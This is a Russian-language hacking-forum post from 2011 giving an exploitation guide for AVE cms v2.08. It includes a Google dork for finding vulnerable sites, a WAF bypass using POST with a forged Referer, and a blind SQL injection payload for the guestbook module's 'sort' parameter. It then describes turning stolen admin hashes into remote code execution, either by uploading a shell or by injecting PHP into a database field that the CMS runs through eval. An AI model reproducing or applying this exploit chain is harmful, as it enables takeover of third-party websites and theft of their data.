RDot

RDot (https://rdot.org/forum/index.php)
-   Сценарии/CMF/СMS (https://rdot.org/forum/forumdisplay.php?f=15)
-   -   AVE cms (https://rdot.org/forum/showthread.php?t=1651)

ont 23.08.2011 12:07

AVE cms
 
AVE cms
url: http://www.overdoze.ru/
dork: inurl:module=guestbook (далее проверяется по наличию админки по /admin/admin.php)
version: v2.08 + addons

Особенности движка
Фильтрацией запросов к базе занимается пользователь API => возможны уязвимости в модулях.
Метод класса DB в /class/class.database.php:96:
PHP код:

function Query($query) {
    
$mtime explode(" ",microtime());
    
$tstart $mtime[1] + $mtime[0];

    
$res = @mysql_query($query$this->_handle);
    if(!
$res) {
      
$this->Error('query'$query);
    }
    
$DB_Result = new DB_Result($res);
..... 

В специальной таблице PREFIX_module в поле CpPHPTag хранится код php, который выполняется через eval.
Код:

CREATE TABLE PREFIX_module (
  Id mediumint(5) unsigned NOT NULL auto_increment,
  ModulName varchar(255) NOT NULL default '',
  `Status` enum('1','0') NOT NULL default '1',
  CpEngineTag varchar(255) NOT NULL default '0',
  CpPHPTag varchar(255) NOT NULL default '0',
  ModulFunktion varchar(255) NOT NULL default '',
  IstFunktion enum('1','0') NOT NULL default '1',
  ModulPfad varchar(255) NOT NULL default '',
  Version varchar(20) NOT NULL default '1.0',
  Template mediumint(3) unsigned NOT NULL default '1',
  PRIMARY KEY  (Id),
  UNIQUE KEY ModulName (ModulName)
);

В админке существует возможность дампа/загрузки базы, что позволяет выполнять произвольные SQL запросы.

Также в движке присуствует легкий вариант WAF, который обходится через POST и выставлением правильного Referer.

Уязвимый модуль guestbook
Разработчик модуля использует API с ошибочным вариантом фильтрации /modules/guestbook/modul.php:72:
PHP код:

.....
  
$limit = ($_REQUEST['pp']!='') ? $_REQUEST['pp'] : '15';
  
$sort = ($_REQUEST['sort']!='') ? mysql_escape_string($_REQUEST['sort']) : 'desc';
.....
      
// Получаем список всех сообщений и передаем их в шаблон для вывода
      
$sql $GLOBALS['db']->Query("SELECT * FROM " PREFIX "_modul_guestbook WHERE is_active = 1 order by id $sort limit $a,$limit");
..... 

Эксплуатация
Эксплуатируем через POST с правильным Referer. Из-за наличия order by эксплуатируем как blind sql injection.
Код:

url: http://site/index.php?module=guestbook
post: sort=asc,if([TRUE/FALSE sql],1=(select 1 union select 2),2)&pp=5
referer: http://site/index.php

После получения логина и md5(md5(pass))-хеша админа (поля Email и Kennwort таблицы PREFIX_users) заливаемся через стандартный файловый браузер админки. Если у хостера включена защита от исполнения php файлов из директории /uploads, то через восстановление базы добавляем новую запись в PREFIX_module с кодом php в CpPHPTag и именем тега в CpEngineTag, затем в админке создаем новый запрос с нашим тегом и добавляем запрос в какой-либо документ.


Часовой пояс GMT +3, время: 15:08.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot